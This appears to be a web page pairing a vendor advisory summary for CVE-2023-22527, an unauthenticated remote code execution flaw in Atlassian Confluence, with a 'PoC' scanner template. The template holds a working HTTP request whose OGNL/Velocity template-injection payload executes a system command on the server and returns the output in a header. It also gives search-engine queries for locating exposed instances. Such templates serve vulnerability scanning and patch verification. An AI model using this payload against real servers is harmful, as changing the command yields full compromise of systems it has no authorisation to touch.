A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
PoC
id: CVE-2023-22527
info:
name: Atlassian Confluence - Remote Code Execution
author: iamnooob,rootxharsh,pdresearch
severity: critical
description: |
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
impact: |
Unauthenticated attackers can exploit template injection in the text-inline.vm endpoint to execute arbitrary system commands on Confluence servers and completely compromise Atlassian Confluence installations.
remediation: |
Update Atlassian Confluence Data Center and Server to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that mitigates the template injection vulnerability.
reference:
- https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
- https://jira.atlassian.com/browse/CONFSERVER-93833
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
- http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html
- https://github.com/ramirezs4/Tips-and-tools-forensics---RS4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-22527
cwe-id: CWE-74
epss-score: 0.99984
epss-percentile: 0.99982
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: confluence_data_center
shodan-query:
- http.component:"Atlassian Confluence"
- http.component:"atlassian confluence"
fofa-query: app="atlassian-confluence"
tags: packetstorm,cve,cve2023,confluence,rce,ssti,kev,atlassian,vkev,vuln
http:
- raw:
- |+
POST /template/aui/text-inline.vm HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
matchers:
- type: dsl
dsl:
- x_vuln_check != "" # check for custom header key exists
- contains(to_lower(body), 'empty{name=')
condition: and
extractors:
- type: dsl
dsl:
- x_vuln_check # prints the output of whoami
# digest: 490a0046304402204733ce053ccd2de91c77d608d84147c00bcee32adaec329baf9a671c8b4176cf0220185c899ca5ecd70e0c46d12c450dd28048a04bfa229c471f33dfb85ec8f17264:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.